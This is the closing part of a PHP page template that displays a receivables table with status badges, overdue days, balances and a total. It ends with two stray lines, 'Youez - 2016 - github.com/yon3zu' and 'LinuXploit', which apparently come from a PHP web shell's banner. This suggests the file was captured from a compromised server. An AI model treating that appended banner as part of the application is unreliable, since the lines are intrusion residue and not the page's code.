                                    <td class="d-none d-lg-table-cell"><?= htmlspecialchars($prop) ?></td>
                                    <td class="d-none d-lg-table-cell"><span class="badge <?= getStatusBadgeClass($st) ?>"><?= ucfirst($st) ?></span></td>
                                    <td class="d-none d-md-table-cell <?= $isOverdue ? 'text-danger' : '' ?>"><?= $daysLbl ?></td>
                                    <td class="text-end fw-bold"><?= formatCurrency($row['balance_due']) ?></td>
                                </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>
                        </tbody>
                        <tfoot>
                            <tr class="table-warning">
                                <td colspan="6" class="fw-bold text-end">Total Receivables:</td>
                                <td class="text-end fw-bold"><?= formatCurrency($totalReceivables) ?></td>
                            </tr>
                        </tfoot>
                    </table>
                </div>

            <?php endif; ?>

        </div>
    </div>
</div>

<?php include 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit